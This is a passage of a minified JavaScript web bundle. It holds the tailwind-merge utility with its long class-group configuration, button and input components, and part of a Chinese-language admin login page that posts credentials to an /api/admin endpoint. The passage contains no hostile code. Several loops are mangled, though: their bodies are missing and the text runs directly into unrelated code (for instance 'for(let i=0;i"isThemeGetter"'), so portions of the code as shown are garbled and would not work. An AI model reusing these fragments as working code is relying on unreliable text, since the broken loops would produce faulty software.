r=e.split(fh),a=r.length;for(let i=0;i"isThemeGetter"in t&&t.isThemeGetter===!0,S5=t=>{if(t<1)return{get:()=>{},set:()=>{}};let e=0,n=Object.create(null),r=Object.create(null);const a=(i,o)=>{n[i]=o,e++,e>t&&(e=0,r=n,n=Object.create(null))};return{get(i){let o=n[i];if(o!==void 0)return o;if((o=r[i])!==void 0)return a(i,o),o},set(i,o){i in n?n[i]=o:a(i,o)}}},_g="!",Gv=":",C5=[],Jv=(t,e,n,r,a)=>({modifiers:t,hasImportantModifier:e,baseClassName:n,maybePostfixModifierPosition:r,isExternal:a}),E5=t=>{const{prefix:e,experimentalParseClassName:n}=t;let r=a=>{const i=[];let o=0,c=0,u=0,h;const f=a.length;for(let w=0;wu?h-u:void 0;return Jv(i,y,g,N)};if(e){const a=e+Gv,i=r;r=o=>o.startsWith(a)?i(o.slice(a.length)):Jv(C5,!1,o,void 0,!0)}if(n){const a=r;r=i=>n({className:i,parseClassName:a})}return r},T5=t=>{const e=new Map;return t.orderSensitiveModifiers.forEach((n,r)=>{e.set(n,1e6+r)}),n=>{const r=[];let a=[];for(let i=0;i0&&(a.sort(),r.push(...a),a=[]),r.push(o)):a.push(o)}return a.length>0&&(a.sort(),r.push(...a)),r}},M5=t=>({cache:S5(t.cacheSize),parseClassName:E5(t),sortModifiers:T5(t),...g5(t)}),A5=/\s+/,I5=(t,e)=>{const{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:a,sortModifiers:i}=e,o=[],c=t.trim().split(A5);let u="";for(let h=c.length-1;h>=0;h-=1){const f=c[h],{isExternal:m,modifiers:g,hasImportantModifier:y,baseClassName:N,maybePostfixModifierPosition:w}=n(f);if(m){u=f+(u.length>0?" "+u:u);continue}let v=!!w,k=r(v?N.substring(0,w):N);if(!k){if(!v){u=f+(u.length>0?" "+u:u);continue}if(k=r(N),!k){u=f+(u.length>0?" "+u:u);continue}v=!1}const C=g.length===0?"":g.length===1?g[0]:i(g).join(":"),E=y?C+_g:C,T=E+k;if(o.indexOf(T)>-1)continue;o.push(T);const I=a(k,v);for(let O=0;O0?" "+u:u)}return u},R5=(...t)=>{let e=0,n,r,a="";for(;e{if(typeof t=="string")return t;let e,n="";for(let r=0;r{let n,r,a,i;const o=u=>{const h=e.reduce((f,m)=>m(f),t());return n=M5(h),r=n.cache.get,a=n.cache.set,i=c,c(u)},c=u=>{const h=r(u);if(h)return h;const f=I5(u,n);return a(u,f),f};return i=o,(...u)=>i(R5(...u))},O5=[],Mn=t=>{const e=n=>n[t]||O5;return e.isThemeGetter=!0,e},pj=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,mj=/^\((?:(\w[\w-]*):)?(.+)\)$/i,D5=/^\d+\/\d+$/,L5=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,_5=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,z5=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,$5=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,F5=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,rl=t=>D5.test(t),ut=t=>!!t&&!Number.isNaN(Number(t)),Ya=t=>!!t&&Number.isInteger(Number(t)),Am=t=>t.endsWith("%")&&ut(t.slice(0,-1)),ha=t=>L5.test(t),B5=()=>!0,V5=t=>_5.test(t)&&!z5.test(t),gj=()=>!1,H5=t=>$5.test(t),W5=t=>F5.test(t),U5=t=>!$e(t)&&!Fe(t),K5=t=>Ol(t,bj,gj),$e=t=>pj.test(t),Zi=t=>Ol(t,vj,V5),Im=t=>Ol(t,Q5,ut),Yv=t=>Ol(t,xj,gj),q5=t=>Ol(t,yj,W5),Eu=t=>Ol(t,Nj,H5),Fe=t=>mj.test(t),Sc=t=>Dl(t,vj),G5=t=>Dl(t,X5),Qv=t=>Dl(t,xj),J5=t=>Dl(t,bj),Y5=t=>Dl(t,yj),Tu=t=>Dl(t,Nj,!0),Ol=(t,e,n)=>{const r=pj.exec(t);return r?r[1]?e(r[1]):n(r[2]):!1},Dl=(t,e,n=!1)=>{const r=mj.exec(t);return r?r[1]?e(r[1]):n:!1},xj=t=>t==="position"||t==="percentage",yj=t=>t==="image"||t==="url",bj=t=>t==="length"||t==="size"||t==="bg-size",vj=t=>t==="length",Q5=t=>t==="number",X5=t=>t==="family-name",Nj=t=>t==="shadow",Z5=()=>{const t=Mn("color"),e=Mn("font"),n=Mn("text"),r=Mn("font-weight"),a=Mn("tracking"),i=Mn("leading"),o=Mn("breakpoint"),c=Mn("container"),u=Mn("spacing"),h=Mn("radius"),f=Mn("shadow"),m=Mn("inset-shadow"),g=Mn("text-shadow"),y=Mn("drop-shadow"),N=Mn("blur"),w=Mn("perspective"),v=Mn("aspect"),k=Mn("ease"),C=Mn("animate"),E=()=>["auto","avoid","all","avoid-page","page","left","right","column"],T=()=>["center","top","bottom","left","right","top-left","left-top","top-right","right-top","bottom-right","right-bottom","bottom-left","left-bottom"],I=()=>[...T(),Fe,$e],O=()=>["auto","hidden","clip","visible","scroll"],L=()=>["auto","contain","none"],R=()=>[Fe,$e,u],D=()=>[rl,"full","auto",...R()],z=()=>[Ya,"none","subgrid",Fe,$e],Z=()=>["auto",{span:["full",Ya,Fe,$e]},Ya,Fe,$e],ne=()=>[Ya,"auto",Fe,$e],fe=()=>["auto","min","max","fr",Fe,$e],xe=()=>["start","end","center","between","around","evenly","stretch","baseline","center-safe","end-safe"],$=()=>["start","end","center","stretch","center-safe","end-safe"],H=()=>["auto",...R()],oe=()=>[rl,"auto","full","dvw","dvh","lvw","lvh","svw","svh","min","max","fit",...R()],P=()=>[t,Fe,$e],q=()=>[...T(),Qv,Yv,{position:[Fe,$e]}],B=()=>["no-repeat",{repeat:["","x","y","space","round"]}],_=()=>["auto","cover","contain",J5,K5,{size:[Fe,$e]}],W=()=>[Am,Sc,Zi],le=()=>["","none","full",h,Fe,$e],J=()=>["",ut,Sc,Zi],Y=()=>["solid","dashed","dotted","double"],V=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],re=()=>[ut,Am,Qv,Yv],ue=()=>["","none",N,Fe,$e],ce=()=>["none",ut,Fe,$e],ye=()=>["none",ut,Fe,$e],Re=()=>[ut,Fe,$e],Le=()=>[rl,"full",...R()];return{cacheSize:500,theme:{animate:["spin","ping","pulse","bounce"],aspect:["video"],blur:[ha],breakpoint:[ha],color:[B5],container:[ha],"drop-shadow":[ha],ease:["in","out","in-out"],font:[U5],"font-weight":["thin","extralight","light","normal","medium","semibold","bold","extrabold","black"],"inset-shadow":[ha],leading:["none","tight","snug","normal","relaxed","loose"],perspective:["dramatic","near","normal","midrange","distant","none"],radius:[ha],shadow:[ha],spacing:["px",ut],text:[ha],"text-shadow":[ha],tracking:["tighter","tight","normal","wide","wider","widest"]},classGroups:{aspect:[{aspect:["auto","square",rl,$e,Fe,v]}],container:["container"],columns:[{columns:[ut,$e,Fe,c]}],"break-after":[{"break-after":E()}],"break-before":[{"break-before":E()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],sr:["sr-only","not-sr-only"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:I()}],overflow:[{overflow:O()}],"overflow-x":[{"overflow-x":O()}],"overflow-y":[{"overflow-y":O()}],overscroll:[{overscroll:L()}],"overscroll-x":[{"overscroll-x":L()}],"overscroll-y":[{"overscroll-y":L()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:D()}],"inset-x":[{"inset-x":D()}],"inset-y":[{"inset-y":D()}],start:[{start:D()}],end:[{end:D()}],top:[{top:D()}],right:[{right:D()}],bottom:[{bottom:D()}],left:[{left:D()}],visibility:["visible","invisible","collapse"],z:[{z:[Ya,"auto",Fe,$e]}],basis:[{basis:[rl,"full","auto",c,...R()]}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["nowrap","wrap","wrap-reverse"]}],flex:[{flex:[ut,rl,"auto","initial","none",$e]}],grow:[{grow:["",ut,Fe,$e]}],shrink:[{shrink:["",ut,Fe,$e]}],order:[{order:[Ya,"first","last","none",Fe,$e]}],"grid-cols":[{"grid-cols":z()}],"col-start-end":[{col:Z()}],"col-start":[{"col-start":ne()}],"col-end":[{"col-end":ne()}],"grid-rows":[{"grid-rows":z()}],"row-start-end":[{row:Z()}],"row-start":[{"row-start":ne()}],"row-end":[{"row-end":ne()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":fe()}],"auto-rows":[{"auto-rows":fe()}],gap:[{gap:R()}],"gap-x":[{"gap-x":R()}],"gap-y":[{"gap-y":R()}],"justify-content":[{justify:[...xe(),"normal"]}],"justify-items":[{"justify-items":[...$(),"normal"]}],"justify-self":[{"justify-self":["auto",...$()]}],"align-content":[{content:["normal",...xe()]}],"align-items":[{items:[...$(),{baseline:["","last"]}]}],"align-self":[{self:["auto",...$(),{baseline:["","last"]}]}],"place-content":[{"place-content":xe()}],"place-items":[{"place-items":[...$(),"baseline"]}],"place-self":[{"place-self":["auto",...$()]}],p:[{p:R()}],px:[{px:R()}],py:[{py:R()}],ps:[{ps:R()}],pe:[{pe:R()}],pt:[{pt:R()}],pr:[{pr:R()}],pb:[{pb:R()}],pl:[{pl:R()}],m:[{m:H()}],mx:[{mx:H()}],my:[{my:H()}],ms:[{ms:H()}],me:[{me:H()}],mt:[{mt:H()}],mr:[{mr:H()}],mb:[{mb:H()}],ml:[{ml:H()}],"space-x":[{"space-x":R()}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":R()}],"space-y-reverse":["space-y-reverse"],size:[{size:oe()}],w:[{w:[c,"screen",...oe()]}],"min-w":[{"min-w":[c,"screen","none",...oe()]}],"max-w":[{"max-w":[c,"screen","none","prose",{screen:[o]},...oe()]}],h:[{h:["screen","lh",...oe()]}],"min-h":[{"min-h":["screen","lh","none",...oe()]}],"max-h":[{"max-h":["screen","lh",...oe()]}],"font-size":[{text:["base",n,Sc,Zi]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:[r,Fe,Im]}],"font-stretch":[{"font-stretch":["ultra-condensed","extra-condensed","condensed","semi-condensed","normal","semi-expanded","expanded","extra-expanded","ultra-expanded",Am,$e]}],"font-family":[{font:[G5,$e,e]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:[a,Fe,$e]}],"line-clamp":[{"line-clamp":[ut,"none",Fe,Im]}],leading:[{leading:[i,...R()]}],"list-image":[{"list-image":["none",Fe,$e]}],"list-style-position":[{list:["inside","outside"]}],"list-style-type":[{list:["disc","decimal","none",Fe,$e]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"placeholder-color":[{placeholder:P()}],"text-color":[{text:P()}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...Y(),"wavy"]}],"text-decoration-thickness":[{decoration:[ut,"from-font","auto",Fe,Zi]}],"text-decoration-color":[{decoration:P()}],"underline-offset":[{"underline-offset":[ut,"auto",Fe,$e]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:R()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",Fe,$e]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],wrap:[{wrap:["break-word","anywhere","normal"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",Fe,$e]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:q()}],"bg-repeat":[{bg:B()}],"bg-size":[{bg:_()}],"bg-image":[{bg:["none",{linear:[{to:["t","tr","r","br","b","bl","l","tl"]},Ya,Fe,$e],radial:["",Fe,$e],conic:[Ya,Fe,$e]},Y5,q5]}],"bg-color":[{bg:P()}],"gradient-from-pos":[{from:W()}],"gradient-via-pos":[{via:W()}],"gradient-to-pos":[{to:W()}],"gradient-from":[{from:P()}],"gradient-via":[{via:P()}],"gradient-to":[{to:P()}],rounded:[{rounded:le()}],"rounded-s":[{"rounded-s":le()}],"rounded-e":[{"rounded-e":le()}],"rounded-t":[{"rounded-t":le()}],"rounded-r":[{"rounded-r":le()}],"rounded-b":[{"rounded-b":le()}],"rounded-l":[{"rounded-l":le()}],"rounded-ss":[{"rounded-ss":le()}],"rounded-se":[{"rounded-se":le()}],"rounded-ee":[{"rounded-ee":le()}],"rounded-es":[{"rounded-es":le()}],"rounded-tl":[{"rounded-tl":le()}],"rounded-tr":[{"rounded-tr":le()}],"rounded-br":[{"rounded-br":le()}],"rounded-bl":[{"rounded-bl":le()}],"border-w":[{border:J()}],"border-w-x":[{"border-x":J()}],"border-w-y":[{"border-y":J()}],"border-w-s":[{"border-s":J()}],"border-w-e":[{"border-e":J()}],"border-w-t":[{"border-t":J()}],"border-w-r":[{"border-r":J()}],"border-w-b":[{"border-b":J()}],"border-w-l":[{"border-l":J()}],"divide-x":[{"divide-x":J()}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":J()}],"divide-y-reverse":["divide-y-reverse"],"border-style":[{border:[...Y(),"hidden","none"]}],"divide-style":[{divide:[...Y(),"hidden","none"]}],"border-color":[{border:P()}],"border-color-x":[{"border-x":P()}],"border-color-y":[{"border-y":P()}],"border-color-s":[{"border-s":P()}],"border-color-e":[{"border-e":P()}],"border-color-t":[{"border-t":P()}],"border-color-r":[{"border-r":P()}],"border-color-b":[{"border-b":P()}],"border-color-l":[{"border-l":P()}],"divide-color":[{divide:P()}],"outline-style":[{outline:[...Y(),"none","hidden"]}],"outline-offset":[{"outline-offset":[ut,Fe,$e]}],"outline-w":[{outline:["",ut,Sc,Zi]}],"outline-color":[{outline:P()}],shadow:[{shadow:["","none",f,Tu,Eu]}],"shadow-color":[{shadow:P()}],"inset-shadow":[{"inset-shadow":["none",m,Tu,Eu]}],"inset-shadow-color":[{"inset-shadow":P()}],"ring-w":[{ring:J()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:P()}],"ring-offset-w":[{"ring-offset":[ut,Zi]}],"ring-offset-color":[{"ring-offset":P()}],"inset-ring-w":[{"inset-ring":J()}],"inset-ring-color":[{"inset-ring":P()}],"text-shadow":[{"text-shadow":["none",g,Tu,Eu]}],"text-shadow-color":[{"text-shadow":P()}],opacity:[{opacity:[ut,Fe,$e]}],"mix-blend":[{"mix-blend":[...V(),"plus-darker","plus-lighter"]}],"bg-blend":[{"bg-blend":V()}],"mask-clip":[{"mask-clip":["border","padding","content","fill","stroke","view"]},"mask-no-clip"],"mask-composite":[{mask:["add","subtract","intersect","exclude"]}],"mask-image-linear-pos":[{"mask-linear":[ut]}],"mask-image-linear-from-pos":[{"mask-linear-from":re()}],"mask-image-linear-to-pos":[{"mask-linear-to":re()}],"mask-image-linear-from-color":[{"mask-linear-from":P()}],"mask-image-linear-to-color":[{"mask-linear-to":P()}],"mask-image-t-from-pos":[{"mask-t-from":re()}],"mask-image-t-to-pos":[{"mask-t-to":re()}],"mask-image-t-from-color":[{"mask-t-from":P()}],"mask-image-t-to-color":[{"mask-t-to":P()}],"mask-image-r-from-pos":[{"mask-r-from":re()}],"mask-image-r-to-pos":[{"mask-r-to":re()}],"mask-image-r-from-color":[{"mask-r-from":P()}],"mask-image-r-to-color":[{"mask-r-to":P()}],"mask-image-b-from-pos":[{"mask-b-from":re()}],"mask-image-b-to-pos":[{"mask-b-to":re()}],"mask-image-b-from-color":[{"mask-b-from":P()}],"mask-image-b-to-color":[{"mask-b-to":P()}],"mask-image-l-from-pos":[{"mask-l-from":re()}],"mask-image-l-to-pos":[{"mask-l-to":re()}],"mask-image-l-from-color":[{"mask-l-from":P()}],"mask-image-l-to-color":[{"mask-l-to":P()}],"mask-image-x-from-pos":[{"mask-x-from":re()}],"mask-image-x-to-pos":[{"mask-x-to":re()}],"mask-image-x-from-color":[{"mask-x-from":P()}],"mask-image-x-to-color":[{"mask-x-to":P()}],"mask-image-y-from-pos":[{"mask-y-from":re()}],"mask-image-y-to-pos":[{"mask-y-to":re()}],"mask-image-y-from-color":[{"mask-y-from":P()}],"mask-image-y-to-color":[{"mask-y-to":P()}],"mask-image-radial":[{"mask-radial":[Fe,$e]}],"mask-image-radial-from-pos":[{"mask-radial-from":re()}],"mask-image-radial-to-pos":[{"mask-radial-to":re()}],"mask-image-radial-from-color":[{"mask-radial-from":P()}],"mask-image-radial-to-color":[{"mask-radial-to":P()}],"mask-image-radial-shape":[{"mask-radial":["circle","ellipse"]}],"mask-image-radial-size":[{"mask-radial":[{closest:["side","corner"],farthest:["side","corner"]}]}],"mask-image-radial-pos":[{"mask-radial-at":T()}],"mask-image-conic-pos":[{"mask-conic":[ut]}],"mask-image-conic-from-pos":[{"mask-conic-from":re()}],"mask-image-conic-to-pos":[{"mask-conic-to":re()}],"mask-image-conic-from-color":[{"mask-conic-from":P()}],"mask-image-conic-to-color":[{"mask-conic-to":P()}],"mask-mode":[{mask:["alpha","luminance","match"]}],"mask-origin":[{"mask-origin":["border","padding","content","fill","stroke","view"]}],"mask-position":[{mask:q()}],"mask-repeat":[{mask:B()}],"mask-size":[{mask:_()}],"mask-type":[{"mask-type":["alpha","luminance"]}],"mask-image":[{mask:["none",Fe,$e]}],filter:[{filter:["","none",Fe,$e]}],blur:[{blur:ue()}],brightness:[{brightness:[ut,Fe,$e]}],contrast:[{contrast:[ut,Fe,$e]}],"drop-shadow":[{"drop-shadow":["","none",y,Tu,Eu]}],"drop-shadow-color":[{"drop-shadow":P()}],grayscale:[{grayscale:["",ut,Fe,$e]}],"hue-rotate":[{"hue-rotate":[ut,Fe,$e]}],invert:[{invert:["",ut,Fe,$e]}],saturate:[{saturate:[ut,Fe,$e]}],sepia:[{sepia:["",ut,Fe,$e]}],"backdrop-filter":[{"backdrop-filter":["","none",Fe,$e]}],"backdrop-blur":[{"backdrop-blur":ue()}],"backdrop-brightness":[{"backdrop-brightness":[ut,Fe,$e]}],"backdrop-contrast":[{"backdrop-contrast":[ut,Fe,$e]}],"backdrop-grayscale":[{"backdrop-grayscale":["",ut,Fe,$e]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[ut,Fe,$e]}],"backdrop-invert":[{"backdrop-invert":["",ut,Fe,$e]}],"backdrop-opacity":[{"backdrop-opacity":[ut,Fe,$e]}],"backdrop-saturate":[{"backdrop-saturate":[ut,Fe,$e]}],"backdrop-sepia":[{"backdrop-sepia":["",ut,Fe,$e]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":R()}],"border-spacing-x":[{"border-spacing-x":R()}],"border-spacing-y":[{"border-spacing-y":R()}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["","all","colors","opacity","shadow","transform","none",Fe,$e]}],"transition-behavior":[{transition:["normal","discrete"]}],duration:[{duration:[ut,"initial",Fe,$e]}],ease:[{ease:["linear","initial",k,Fe,$e]}],delay:[{delay:[ut,Fe,$e]}],animate:[{animate:["none",C,Fe,$e]}],backface:[{backface:["hidden","visible"]}],perspective:[{perspective:[w,Fe,$e]}],"perspective-origin":[{"perspective-origin":I()}],rotate:[{rotate:ce()}],"rotate-x":[{"rotate-x":ce()}],"rotate-y":[{"rotate-y":ce()}],"rotate-z":[{"rotate-z":ce()}],scale:[{scale:ye()}],"scale-x":[{"scale-x":ye()}],"scale-y":[{"scale-y":ye()}],"scale-z":[{"scale-z":ye()}],"scale-3d":["scale-3d"],skew:[{skew:Re()}],"skew-x":[{"skew-x":Re()}],"skew-y":[{"skew-y":Re()}],transform:[{transform:[Fe,$e,"","none","gpu","cpu"]}],"transform-origin":[{origin:I()}],"transform-style":[{transform:["3d","flat"]}],translate:[{translate:Le()}],"translate-x":[{"translate-x":Le()}],"translate-y":[{"translate-y":Le()}],"translate-z":[{"translate-z":Le()}],"translate-none":["translate-none"],accent:[{accent:P()}],appearance:[{appearance:["none","auto"]}],"caret-color":[{caret:P()}],"color-scheme":[{scheme:["normal","dark","light","light-dark","only-dark","only-light"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",Fe,$e]}],"field-sizing":[{"field-sizing":["fixed","content"]}],"pointer-events":[{"pointer-events":["auto","none"]}],resize:[{resize:["none","","y","x"]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":R()}],"scroll-mx":[{"scroll-mx":R()}],"scroll-my":[{"scroll-my":R()}],"scroll-ms":[{"scroll-ms":R()}],"scroll-me":[{"scroll-me":R()}],"scroll-mt":[{"scroll-mt":R()}],"scroll-mr":[{"scroll-mr":R()}],"scroll-mb":[{"scroll-mb":R()}],"scroll-ml":[{"scroll-ml":R()}],"scroll-p":[{"scroll-p":R()}],"scroll-px":[{"scroll-px":R()}],"scroll-py":[{"scroll-py":R()}],"scroll-ps":[{"scroll-ps":R()}],"scroll-pe":[{"scroll-pe":R()}],"scroll-pt":[{"scroll-pt":R()}],"scroll-pr":[{"scroll-pr":R()}],"scroll-pb":[{"scroll-pb":R()}],"scroll-pl":[{"scroll-pl":R()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",Fe,$e]}],fill:[{fill:["none",...P()]}],"stroke-w":[{stroke:[ut,Sc,Zi,Im]}],stroke:[{stroke:["none",...P()]}],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-x","border-w-y","border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-x","border-color-y","border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],translate:["translate-x","translate-y","translate-none"],"translate-none":["translate","translate-x","translate-y","translate-z"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]},orderSensitiveModifiers:["*","**","after","backdrop","before","details-content","file","first-letter","first-line","marker","placeholder","selection"]}},eI=P5(Z5);function Et(...t){return eI(lj(t))}const tI=cj("inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px]",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-white hover:bg-destructive/90",outline:"border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-9 px-4 py-2 has-[>svg]:px-3",sm:"h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5",lg:"h-10 rounded-md px-6 has-[>svg]:px-4",icon:"size-9","icon-sm":"size-8","icon-lg":"size-10"}},defaultVariants:{variant:"default",size:"default"}});function te({className:t,variant:e,size:n,asChild:r=!1,...a}){const i=r?ij:"button";return s.jsx(i,{"data-slot":"button",className:Et(tI({variant:e,size:n,className:t})),...a})}function se({className:t,type:e,...n}){return s.jsx("input",{type:e,"data-slot":"input",className:Et("h-9 w-full min-w-0 rounded-md border border-input bg-transparent px-3 py-1 text-base shadow-xs outline-none placeholder:text-muted-foreground disabled:pointer-events-none disabled:opacity-50 md:text-sm focus-visible:ring-2 focus-visible:ring-ring",t),...n})}function nI(){const t=Ci(),[e,n]=b.useState(""),[r,a]=b.useState(""),[i,o]=b.useState(""),[c,u]=b.useState(!1),h=async()=>{o(""),u(!0);try{const f=await vt("/api/admin",{username:e.trim(),password:r});if((f==null?void 0:f.success)!==!1&&(f!=null&&f.token)){ZA(f.token),t("/dashboard",{replace:!0});return}o(f.error||"用户名或密码错误")}catch(f){const m=f;o(m.status===401?"用户名或密码错误":(m==null?void 0:m.message)||"网络错误,请重试")}finally{u(!1)}};return s.jsxs("div",{className:"min-h-screen bg-[#0a1628] flex items-center justify-center p-4",children:[s.jsxs("div",{className:"absolute inset-0 overflow-hidden",children:[s.jsx("div",{className:"absolute top-1/4 left-1/4 w-96 h-96 bg-[#38bdac]/5 rounded-full blur-3xl"}),s.jsx("div",{className:"absolute bottom-1/4 right-1/4 w-96 h-96 bg-blue-500/5 rounded-full blur-3xl"})]}),s.jsxs("div",{className:"w-full max-w-md relative z-10",children:[s.jsxs("div",{className:"text-center mb-8",children:[s.jsx("div",{className:"w-16 h-16 bg-[#38bdac]/20 rounded-2xl flex items-center justify-center mx-auto mb-4 border border-[#38bdac]/30",children:s.jsx(_c,{className:"w-8 h-8 text-[#38bdac]"})}),s.jsx("h1",{className:"text-2xl font-bold text-white mb-2",children:"管理后台"}),s.jsx("p",{className:"text-gray-400",children:"一场SOUL的创业实验场"})]}),s.jsxs("div",{className:"bg-[#0f2137] rounded-2xl p-8 shadow-xl border border-gray-700/50 backdrop-blur-xl",children:[s.jsx("h2",{className:"text-xl font-semibold text-white mb-6 text-center",children:"管理员登录"}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-gray-400 text-sm mb-2",children:"用户名"}),s.jsxs("div",{className:"relative",children:[s.jsx(co,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-5 h-5 text-gray-500"}),s.jsx(se,{type:"text",value:e,onChange:f=>n(f.target.value),placeholder:"请输入用户名",className:"pl-10 bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 focus:border-[#38bdac]"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-gray-400 text-sm mb-2",children:"密码"}),s.jsxs("div",{className:"relative",children:[s.jsx(QM,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-5 h-5 text-gray-500"}),s.jsx(se,{type:"password",value:r,onChange:f=>a(f.target.value),placeholder:"请输入密码",className:"pl-10 bg-[#0a1628] border-gray-700 